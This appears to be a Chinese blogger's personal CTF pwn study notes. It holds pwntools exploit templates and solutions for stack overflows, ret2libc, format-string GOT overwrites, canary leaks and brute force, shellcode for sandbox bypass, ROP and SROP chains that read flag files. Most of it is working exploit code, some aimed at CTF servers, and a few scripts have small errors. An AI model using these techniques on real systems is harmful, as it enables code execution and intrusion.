首页 > 其他分享 >pwn长征路

pwn长征路

时间:2024-05-29 22:03:43浏览次数:23  
标签:__ addr libc frame pwn 长征路 payload p64

只是私人学习记录的备份,不建议参考学习

模板

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./')
#p = remote(')

def debug():
    gdb.attach(p)
    #gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))

it()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./')
#p = remote(')

def debug():
    gdb.attach(p)
    #gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
    sla('Enter your command:\n',str(idx))

def add(idx,size):
    choice(1)
    print("添加chunk%d" % idx)   
def delete():
    choice(2)
    #print("删掉chunk%d" % idx)
def show(idx):
    choice(3)
    sa('please enter idx:\n',str(idx))
def edit(idx,content):
    choice(4)
    sa("please enter idx:\n",str(idx))
    sd(content)
it()

小技巧

栈平衡

64位:返回地址末尾是8加ret

32位:

gdb.attach()

要加在send之前就能看到要发送的数据在栈上情况

send和sendline

scanf(),,gets()一定要sendline

fd指针规则

打开新文件时将赋予此文件的fd为从0开始没有用到的值,一般是3,这也是为什么orw是read第一个参数是3。

常见函数格式

open(文件名,0,0)

sendfile(1,3,0)系统调用号0x28,r10=0x100

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall

ret2shellcode

有nx保护的话有rwx段才可用,无nx直接栈上 asm(shellcraft.sh())不需要p32打包

1.invisable_flag(禁用了orw和execve)想用readfile

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *addr; // [rsp+8h] [rbp-118h]

  init();
  addr = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == -1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    puts("show your magic again");
    read(0, addr, 0x200uLL);
    sandbox();
    (addr)();
    return 0;
  }
}

exp

from pwn import *

p = process('./vuln')
#p = remote('')
elf = ELF('./vuln')
context.update(arch='amd64', os='linux',log_level='debug')

sh = shellcraft.openat(-100,"./flag",0)+shellcraft.sendfile(1,3,0,0x100)
sh = asm(sh)
p.send(sh)
p.interactive()

2.xyctf intermitted

题干

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-120h]
  void (*v5)(void); // [rsp+8h] [rbp-118h]
  int buf[66]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = mmap(0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v5 == -1LL )
  {
    puts("ERROR");
    return 1;
  }
  else
  {
    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *(v5 + 4 * i) = buf[i];   #v5被buf【】类型转换大小为int,v5后每加一个1,代表地址加4
    v5();
    return 0;
  }
}

exp两种

用rep movsb指令 这个指令可以让rsi寄存器的地址开始rcx的字节数据赋值给rdi地址所
指的区域
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
#context.terminal = ['byobu', 'sp', '-h']
file_name = "./vuln"
#url = ""
#port = 1111
elf = ELF(file_name)
p= process(file_name)
#p = gdb.debug(file_name,"b *main+273")
# p = remote(url,port)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
#gdb.attach(p)
ru(b"show your magic: ")
shellcode1 = b'\x52\x5F\xF3\xA4'
# nop指令不重要
#shellcode2 = b'\x90'*4
#shellcode3 = b'\x90'*4
shellcode = shellcode1+b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shell=asm('''
push      rdx
pop       rdi
rep movsb byte ptr [rdi], byte ptr [rsi]
xor       esi, esi
movabs    rbx, 0x68732f2f6e69622f
push      rsi
push      rbx
push      rsp
pop       rdi
push      0x3b
pop       rax
xor       edx, edx
syscall
''' )
sd(shell)
ia()


###################################################

shell=asm('''
pop rbx
pop rax
ret
nop
pop rsi
pop rdx
syscall
''' )
shell=shell.ljust(0x10,b'\x00')
shell+=p64(0x114514010)
shell+=p64(0x114514014)+p64(0x100)
sd(shell)

sd(asm(shellcraft.sh()))
ia()



ret2libc

32位程序libc题型模板

from pwn import *
from LibcSearcher import *
#r = process("./")
r = remote('node5.buuoj.cn',)

#libc = ELF("./libc____")
e = ELF("./")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]

offset = 0x + 4
payload = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

#r.recvuntil()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

libc=LibcSearcher("read",read_addr)
base_addr = write_addr - libc.dump("write")
system_addr = base_addr + libc.dump("system")
binsh_addr = base_addr + libc.dump("str_bin_sh")
payload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)

#r.recvuntil()
r.sendline(payload)
r.interactive()

64位模板

from pwn import *
from LibcSearcher import *
r = remote("node5.buuoj.cn",)
#r = process("./")
#gdb.attach(r)
context(log_level = 'debug')
e = ELF("./")
#libc = ELF("./libc-.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
rdi_addr = 0x
#si_r15_addr = 0x

offset = 0x + 8
payload = offset*b'a' + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
r.recvuntil("")
r.sendline(payload)

write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
#write_addr = u64(r.recv(8))
print(hex(write_addr)
      
libc=LibcSearcher("read",read_addr)
base_addr = write_addr - libc.dump("write")
system_addr = base_addr + libc.dump("system")
binsh_addr = base_addr + libc.dump("str_bin_sh")
#给了libc:libc找出来的只是函数偏移lian
#base = read_addr - libc.symbols["read"]
#sys = base + libc.symbols["system"]
#bin = base + next(libc.search(b'/bin/sh'))


payload2 = offset*'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.sendline(payload2)
r.interactive()

image-20231030214941083

libc = LibcSearcher("函数名",地址)是用来获取libc版本的

strtol函数不能处理16进制数要转换为10进制

libc库中泄露puts函数,通过偏移算system函数在库中地址

image-20231025215349088

image-20231025230004153

算偏移libc中找system函数

image-20231026110205638

泄露栈地址

1.hnctf pwn

题干

int vul()
{
  char s[40]; // [esp+0h] [ebp-2Ch] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context.update(arch='i386',os='linux',log_level='debug')
#r = process("./pwn")
r = remote('hnctf.imxbt.cn',26176)
e = ELF("./pwn")
#gdb.attach(r)

sys=e.plt['system']
p=b'a'*0x1f+b'b'
r.send(p)
r.recvuntil("b")
stack=u32(r.recv(4))-0xd4+12
print(hex(stack))

p=b'b'*4+p32(sys)+b'a'*4+p32(stack-0x1c)+b'/bin/sh\x00'
p=p.ljust(0x2c,b'a')+p32(stack-0x2c)
r.send(p)
r.interactive()

格式化字符串

无printf(仅利用scanf的格式化字符串)

1.xyctf fmt

题干

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
filename = "./vuln"
io = process(filename)
e = ELF(filename)
libc = ELF('./libc-2.31.so')
ld=ELF('./ld-2.31.so')

io.recvuntil(b"gift: ")
printf_addr=int(io.recv(14),16)
base = printf_addr - libc.sym['printf']
#print(hex(printf_addr))
backdoor=0x4012c2
exit_hook_addr = base+0x1f4000+ld.sym["_rtld_global"]+3848
print(hex(ld.sym["_rtld_global"]))

payload=b'%8$s'
payload = payload.ljust(0x10,b'\x00') + p64(exit_hook_addr) #p64hook就是%8
io.recvuntil(b'\n')
#gdb.attach(io)
io.send(payload)

payload = p64(backdoor) #scanf的格式化字符串,直接写入第8个参数
#gdb.attach(i)
io.sendline(payload)
io.interactive()

修改内存类(含got表劫持)

  1. pwn5
    题干

    int __cdecl main(int a1)
    {
      unsigned int v1; // eax`
      int result; // eax`
      int fd; // [esp+0h] [ebp-84h]`
      char nptr[16]; // [esp+4h] [ebp-80h] BYREF`
      char buf[100]; // [esp+14h] [ebp-70h] BYREF`
      unsigned int v6; // [esp+78h] [ebp-Ch]`
      int *v7; // [esp+7Ch] [ebp-8h]`
    
      v7 = &a1;
      v6 = __readgsdword(0x14u);
      setvbuf(stdout, 0, 2, 0);
      v1 = time(0);
      srand(v1);
      fd = open("/dev/urandom", 0);
      read(fd, &dword_804C044, 4u);
      printf("your name:");
      read(0, buf, 0x63u);
      printf("Hello,");
      printf(buf);
      printf("your passwd:");
      read(0, nptr, 0xFu);
      if ( atoi(nptr) == dword_804C044 )//atoi函数将字符串转换为整数
      {
        puts("ok!!");
        system("/bin/sh");
      }
      else
      {
        puts("fail");
      }
      result = 0;
      if ( __readgsdword(0x14u) != v6 )
      sub_80493D0();
      return result;
    }
    

    exp

    from pwn import *
    
    io = remote("node5.buuoj.cn",29170)
    
    target = 0x804C044  //将要覆盖的dword_804C044的地址
    
    payload = p32(target) +b'%10$n'//修改后值为4
    
    io.recvuntil("name:")
    io.sendline(payload)
    io.sendafter("passwd:",b'4')
    io.interactive()
    
  2. echo(利用fmtstr_payload模块)

    题干(将printf改为system)
    image-20240201132924344

    exp

    from pwn import *
    
    r=remote('node3.buuoj.cn',27843)
    elf=ELF('./echo')
    
    printf_got=elf.got['printf']
    system_plt=elf.plt['system']
    
    payload=fmtstr_payload(7,{printf_got:system_plt})
    
    r.sendline(payload)
    r.sendline('/bin/sh')
    r.interactive()
    

    fmtstr介绍(64位程序则要说明上下文context(arch='amd64',os='linux',word_size='64'))

    fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。

    可以实现修改任意内存
    fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的值})

    fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
    第一个参数表示格式化字符串的偏移;
    第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
    systemAddress};本题是将0804a048处改为0x2223322
    第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
    第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
    fmtstr_payload函数返回的就是payload

    实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})

  3. r2t4(利用stack check faill 函数,开canary用)
    题干(有后门函数)

      read(0, buf, 0x38uLL);
      printf(buf);
    
    
    unsigned __int64 backdoor()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      system("cat flag");
      return __readfsqword(0x28u) ^ v1;
    }
    

​ exp

from pwn import *
context(arch='amd64',os='linux',word_size='64')
backdoor = 0x0000000000400626
p = remote("node3.buuoj.cn",25583)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = fmtstr_payload(6, {__stack_chk_fail:backdoor})
#或者payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) +p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

泄露canary类

  1. bjdctf_2020_babyrop2-fmt-leak canary

    题干

           1
    unsigned __int64 gift()
    {
      char format[8]; // [rsp+0h] [rbp-10h] BYREF
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      puts("I'll give u some gift to help u!");
      __isoc99_scanf("%6s", format);
      printf(format);
      puts(byte_400A05);
      fflush(0LL);
      return __readfsqword(0x28u) ^ v2;
    }
    
    
           2
    unsigned __int64 vuln()
    {
      char buf[24]; // [rsp+0h] [rbp-20h] BYREF
      unsigned __int64 v2; // [rsp+18h] [rbp-8h]
    //canary在rbp-8
      v2 = __readfsqword(0x28u);
      puts("Pull up your sword and tell me u story!");
      read(0, buf, 0x64uLL);
      return __readfsqword(0x28u) ^ v2;
    }
    

    exp

    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'        #context(arch='amd64', os='linux', log_level='debug')
    p = remote('node5.buuoj.cn',29045)
    e = ELF('./bjdctf_2020_babyrop2')
    
    put_plt=e.plt['puts']
    put_got=e.got['puts']
    rdi=0x0400993
    vuln=0x400887
    
    p1 = '%7$p'#
    p.sendline(p1)
    
    p.recvuntil('0x')
    canary = int(p.recv(16), 16) #以16进制为底,转化为整数。canary长为16,加上\n
    
    payload = p64(canary)
    payload = payload.rjust(0x20,b'a')+b'a'*8+p64(rdi)+p64(put_got)+p64(put_plt)+p64(vuln)
    p.sendlineafter(b'story!\n',payload)
    put_addr=u64(p.recv(6).ljust(8,b'\x00'))
    
    libc=LibcSearcher('puts',put_addr)
    libcbase=put_addr-libc.dump("puts")
    system_addr=libcbase+libc.dump("system")
    binsh_addr=libcbase+libc.dump("str_bin_sh")
    
    payload = p64(canary)
    payload = payload.rjust(0x20,b'a')+b'a'*8+p64(rdi)+p64(binsh_addr)+p64(system_addr)+p64(vuln)
    p.sendlineafter('story!\n',payload)
    p.interactive()
    

非栈上格式化字符串

1.题干(hhn写入1字节,hn写入2字节)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  vuln();
  if ( secret == 0xDEADBEEF12345678LL )
    system("/bin/sh");
  return 0;
}

int vuln()
{
  int result; // eax

  while ( 1 )
  {
    result = strcmp(chr, "bye");
    if ( !result )
      break;
    gets(chr);
    printf(chr);
  }
  return result;
}

exp

from pwn import *
context(arch='amd64',os='Linux',log_level='debug')
s = process("./pwn")
elf = ELF("./pwn")
secret = elf.sym['secret']

payload = b"%13$p"
s.sendline(payload)
stack = int(s.recv(14),16)
success(hex(stack))

offset1 = 13
offset2 = 43
offset3 = 42

addr = stack-8

gdb.attach(s,"b *0x4006e5\nc")

#为什么下面先addr+2因为只有这样%43处存的才是addr->secret而不是addr+2,下面的for循环才不会改错

#&ffff是什么意思
#&操作如果二进制相应的位都是1,则结果的相应位也是1。如果任一相应的位是0,则结果的相应位是0。
#0xffff是一个十六进制的表示,等同于十进制的65535,其二进制形式为1111 1111 1111 1111
#
payload = "%{}c%13$hn".format((addr+2)&0xffff).encode()
s.sendline(payload)

payload = "%{}c%43$hhn".format((secret >> 16)&0xff).encode()
s.sendline(payload)

payload = "%{}c%13$hn".format((addr)&0xffff).encode()
s.sendline(payload)

payload = "%{}c%43$hn".format(secret&0xffff).encode()
s.sendline(payload)


value = 0xDEADBEEF12345678

target_addr = secret
for i in range(4):
    tmp_value = value & 0xffff
    tmp_addr = target_addr + i*2
    tmp_addr = tmp_addr & 0xff
    payload = "%{}c%43$hhn".format((tmp_addr)&0xffff).encode()
    s.sendline(payload)
    payload = "%{}c%42$hn".format(tmp_value).encode()
    s.sendline(payload)
    value = value >> 16 # >>16 是将目标的二进制左移16位,即去掉2字节(左移是因为数据在栈上是倒着存的,相对于正常人类读的方向)

s.sendline(b"bye")

s.interactive()

canary爆破

1.canary
题干

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  pid_t pid; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL, envp);
  setbuf(stdout, 0LL, v3);
  while ( 1 )
  {
    pid = fork();
    if ( pid < 0 )
      break;
    if ( pid <= 0 )
      vuln();
    else
      wait(0LL);
  }
  return 0;
    
    
    
void __cdecl vuln()
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts((__int64)"please input:");
  read(0LL, buf, 512LL);
}

exp

from pwn import *
from LibcSearcher import *
import re
import time
from struct import pack

#context.log_level = 'debug'
r = process('./pwn')
#r = remote('121.196.193.233',49198)
pop_rax = 0x4493d7
canary = b'\x00'
for i in range(7):
  for j in range(0, 256):
    payload = b'a' * (0x108) + canary + p8(j)
    r.send(payload)
    time.sleep(0.01)
    res = r.recv()
    if ( b"stack smashing detected" not in res):
       aprint(f'the {i} is {hex(j)}')
        canary += p8(j)
        break

print(f'Canary : {hex(u64(canary))}')
#gdb.attach(r)

p = b''
p = b'a'*0x108 + canary + b'a'*8

p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x00000000004493d7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004018c2) # pop rdi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004017cf) # pop rdx ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret

p += p64(pop_rax) #因为全是rax++会超出read函数范围
p += p64(59)

p += pack('<Q', 0x00000000004012d3) # syscall
#pause()
r.sendline(p)
r.interactive()

srop

1.seccomp(orw)
题干

__int64 sub_40119E()  //对一些系统调用进行禁用,在此函数中系统调用号代表的函数才可以使用
{
  __int64 result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL) < 0 )//write
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 )//read
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 )//exit
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 )//chmod
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 )//open
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 )//sig_ret
  {
    perror("seccomp_rule_add");
    exit(1);
  }
  result = seccomp_load(v1);
  if ( (int)result < 0 )
  {
    perror("seccomp_load");
    exit(1);
  }
  return result;
}






__int64 sub_40136E()
{
  char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
  _QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

  v2[0] = 0x6F6E6B2075206F44LL;
  v2[1] = 0x6920746168772077LL;
  v2[2] = 0xA3F444955532073LL;
  strcpy(v1, "easyhack\n");
  syscall(1LL, 1LL, v1, 9LL);
  syscall(0LL, 0LL, &bss, 4096LL);
  syscall(1LL, 1LL, v2, 24LL);
  syscall(0LL, 0LL, v1, 58LL);
  return 0LL;
}

exp

mov_rax_0xf这些代码在哪里找到的?

image-20240319220701109

左侧这些函数就包含下列指令,是hints.

image-20240320202524819

from pwn import*
context(arch='amd64',os='Linux',log_level='debug')

p=process('./chall')
elf = ELF('./chall')
rop = ROP(elf)

#gadgets
mov_rax_0xf = 0x401193 #
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address #only syscall在401186函数中找到也可即syscall_addr = 0x40118A
#.text:0000000000401186                               sub_401186 proc near
#.text:0000000000401186                               ; __unwind {
#.text:0000000000401187 48 89 E5                      mov     rbp, rsp
#.text:000000000040118A 0F 05                         syscall         #就是syscall_addr                       ; LINUX -
#.text:000000000040118C 90                            nop
#.text:000000000040118D 5D                            pop     rbp
#.text:000000000040118E C3                            retn
syscall_ret_addr = 0x401186 #full function见上注释
#rsi
data_addr = 0x404000 #用来保存文件名进行open函数
bss_addr = 0x404060
#init frame    rsp间的偏移为280 264 264 264,因为SigreturnFrame大小为0x100=256见上图
frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = data_addr
frame_read_1.rdx = 0x5a
frame_read_1.rsp = 0x404178 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_1.rip = syscall_ret_addr #系统调用read函数
frame_chmod = SigreturnFrame()
frame_chmod.rax = 0x5a
frame_chmod.rdi = data_addr
frame_chmod.rsi = 7
frame_chmod.rsp = 0x404280 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_chmod.rip = syscall_ret_addr
frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = data_addr
frame_open.rsi = constants.O_RDONLY
frame_open.rdx = 0
frame_open.rsp = 0x404388 # 指向payload中邻接的mov_rax_0xf在bss段的地址
#flag文件是没有read权限的,srop要先调用chmod改flag文件权限,再orw输出flag文件内容
#srop的frame直接写到bss段
#payload2的作用是栈迁移到bss段启动srop
frame_open.rip = syscall_ret_addr
#read flag
frame_read_2 = SigreturnFrame()
frame_read_2.rax = 0
frame_read_2.rdi = 3
frame_read_2.rsi = 0x405000
frame_read_2.rdx = 0x30
frame_read_2.rsp = 0x404490 #指向payload中邻接的mov_rax_0xf在bss段的地址
frame_read_2.rip = syscall_ret_addr
frame_write = SigreturnFrame()
frame_write.rax = 0x01
frame_write.rdi = 1
frame_write.rsi = 0x405000
frame_write.rdx = 0x30
frame_write.rip = syscall_addr
#bss
payload1 = p64(ret_addr) + p64(ret_addr)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_1)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_chmod)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_open)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_read_2)
payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
payload1 += bytes(frame_write)
p.recvuntil(b'easyhack\n')
p.send(payload1)
#Stack Migration
payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
p.recvuntil(b"Do u know what is SUID?\n")
p.send(payload2)
p.send(b'./flag\x00'.ljust(0x5a,b'\x00')) #一定\x00截断
p.interactive()

2.题干

xyctf simple_srop

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  read(0, buf, 0x200uLL);
  return 0;
}

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
# context.terminal = ['byobu', 'sp', '-h']
file_name = "./vuln"
e = ELF(file_name)
p= process(file_name)
#libc = ELF('')
#p = gdb.debug(file_name,"b *Menu+113")
#p = remote('',)

sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
u32 = lambda data : u32(data.ljust(4, b'\x00'))
u64 = lambda data : u64(data.ljust(8, b'\x00'))

syscall_ret=0x40129d
rax_0xf=0x401296
bss= 0x4040d0

frame_read_1 = SigreturnFrame()
frame_read_1.rax = 0
frame_read_1.rdi = 0
frame_read_1.rsi = bss
frame_read_1.rdx = 0x1000
frame_read_1.rsp = 0x4040d8 #
frame_read_1.rip = syscall_ret

frame_open = SigreturnFrame()
frame_open.rax = 0x02
frame_open.rdi = bss
frame_open.rsi = 0
frame_open.rdx = 0
frame_open.rsp = 0x4041d8 #加了0x100是因为一个frame大小就是0x100
frame_open.rip = syscall_ret


frame_rf = SigreturnFrame()
frame_rf.rax = 0x28
frame_rf.rdi = 1
frame_rf.rsi = 3
frame_rf.rdx = 0
frame_rf.rip = syscall_ret
frame_rf.r10 = 0x100

pa=b'a'*0x28+p64(rax_0xf)+bytes(frame_read_1)
sd(pa)

pa=b'flag\x00\x00\x00\x00'+p64(rax_0xf)+bytes(frame_open)
#pa=pa.ljust(0x200,b'\x00')
pa+=p64(rax_0xf)+bytes(frame_rf)

sd(pa)
it()

orw

1.maimai计数器(attachment)保护全开(pie绕过(即泄露libc),orw,)
题干

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+0h] [rbp-10h] BYREF
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 1 )
        break;
      Calculate();
      v4 = 1;
    }
    if ( v3 == 2 && v4 )
    {
      Compare();
    }
    else
    {
      if ( v3 != 2 || v4 )
      {
        puts("Invalid option.");
        exit(0);
      }
      puts("Calculate your rating first.");
    }
  }
}

细节

泄露libc地址在%33

联想截图_20240328140954

stack(来放flag)恰好要是最后一次发payload的位置,偏移=5e0-650, stack=ebp+偏移=0x70

image-20240329152715202

exp

from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./pwn')
#p = remote('node.nkctf.yuzhian.com.cn', 30995)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p.recvuntil(b'Select a option:\n')
p.sendline(b'1')
p.recvuntil(b'Input chart level and rank.')
for i in range(50):
   p.sendline(b'16.0')
   p.sendline(b'SSS+')
#leak canary&libc
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%33$p")
#为什么libc在33位:ji
p.recvuntil("0x")
libc_address = int(p.recv(12), 16)  - libc.sym['__libc_start_main'] - 128
p.sendlineafter("play maimai?", "AAAA")
p.sendlineafter("Select a option:", '2')
p.sendlineafter("Input your nickname.", "%7$p")
p.recvuntil("0x")
canary = int(p.recv(16), 16)

print(hex(canary))
print(hex(libc_address))

pop_rdi = libc_address+ 0x2a3e5#这些偏移均是在libc库找到而不是pwn文件
pop_rsi = libc_address + 0x2be51
pop_rdx_r12 = libc_address + 0x11f2e7
sys=libc_address+libc.sym['system']
bin = libc_address+next(libc.search(b'/bin/sh'))
ret = libc_address +0x29139#因为栈没平衡末尾是8,偏移也是在lbc库中找不用pwn文件的,因为泄露了libc基地址但没算pie pwn文件会地址错误,而用libc中的则不用算pie

p.send(b'n')
p.sendline(b"2")
p.sendlineafter("Input your nickname.", "%8$p")
p.recvuntil("0x")
ebp = int(p.recv(12), 16)
stackofs=0x7ffde64c14d0-0x7ffde64c1540#0x70
flg=ebp+stackofs#见图二
print("ebp:"+hex(ebp))
print("stack:"+hex(flg))

#想用system但是cat flag被禁用只能orw了,但open也被禁用用openat代替。openat :当第二个参数为绝对地址时第一个参数无效。
#payload = b"A"*0x28 + p64(canary)  +b'a'*8+p64(ret) +p64(pop_rdi) + p64(bin) + p64(sys)   
#p.sendafter("play maimai?\n", payload)
read = libc_address + libc.sym['read']
openat = libc_address + libc.sym['openat']
puts = libc_address + libc.sym['puts']

payload=b'/flag\0\0\0'+b'a'*32+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flg+40+0x50)+p64(pop_rdx_r12)+p64(0x1000)*2+p64(read) #\0\0\0为了占满8字节,p64(flg+40+0x50)恰好将read地址下在这段payload之后
p.send(payload)
